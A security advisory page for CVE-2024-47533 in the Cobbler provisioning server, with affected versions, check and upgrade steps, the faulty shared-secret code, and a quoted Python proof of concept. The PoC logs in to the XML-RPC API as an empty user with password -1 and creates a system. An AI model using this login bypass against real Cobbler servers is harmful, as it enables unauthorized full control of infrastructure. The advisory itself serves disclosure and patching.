---
id: "CVE-2024-47533"
kind: "vulnerability"
aliases: ["CVE-2024-47533", "GHSA-m26c-fcgh-cp6h"]
title: "cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes"
severity: "critical"
cvss: 9.8
epss: 0.04003
exploited: false
status: "open"
category: "package"
products: [{"name": "cobbler", "fixed": ["3.3.7"], "affected": ">= 3.3.0, < 3.3.7", "ecosystem": "pypi"}, {"name": "cobbler", "fixed": ["3.2.3"], "affected": ">= 3.0.0, < 3.2.3", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cobbler", "cwe-287", "package", "provisioning", "python", "self-hosted"]
not_affected_if: ["api-not-network-reachable", "version-outside-range"]
published_at: "2024-11-18T17:15:11+00:00"
first_seen_at: "2026-10-27T16:30:45+00:00"
updated_at: "2026-10-27T16:33:07+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-m26c-fcgh-cp6h", "first_seen_at": "2026-10-27T16:30:45+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47533", "first_seen_at": "2026-10-27T16:33:07+00:00"}]
---

# cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes

Cobbler's shared-secret lookup always fails because a binary-mode file open is passed an encoding argument, so it returns -1 as the secret. An attacker who can reach the Cobbler XML-RPC API logs in as an empty user with password -1 and can change anything on the server.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:cobbler affected >= 3.3.0, < 3.3.7 fixed 3.3.7
- pypi:cobbler affected >= 3.0.0, < 3.2.3 fixed 3.2.3

## How to check

- Run `cobbler version` or `pip show cobbler` and compare against the affected ranges 3.0.0 to below 3.2.3 and 3.3.0 to below 3.3.7.
- Check whether the XML-RPC API is reachable from untrusted networks at `https://COBBLER_SERVER/cobbler_api`.

## Fix

- Upgrade Cobbler to `3.3.7` on the 3.3 line, or to `3.2.3` on the 3.2 line.
- Restrict network access to the Cobbler API to trusted management hosts until upgraded.

## Timeline

- 2026-10-27T16:30:45+00:00 ghsa https://github.com/advisories/GHSA-m26c-fcgh-cp6h
- 2026-10-27T16:33:07+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2024-47533

## From the sources

### Summary

utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.

### Details
utils.py get_shared_secret:
```
def get_shared_secret() -> Union[str, int]:
    """
    The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
    between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
    For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.

    :return: The Cobbler secret which enables full access to Cobbler.
    """

    try:
        with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
            data = fd.read()
    except:
        return -1
    return str(data).strip()
```
Always returns `-1` because of the following exception:
```
binary mode doesn't take an encoding argument
```

This appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.

### PoC
```
#!/usr/bin/python3

import ssl
import xmlrpc.client

params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()

url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
    conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
    conn = xmlrpc.client.Server(url)

try:
    token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
    print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
    print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))

print("Login success!")

system_id = conn.new_system(token)
```


### Impact
This gives anyone with network access to a cobbler server full control of the server.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_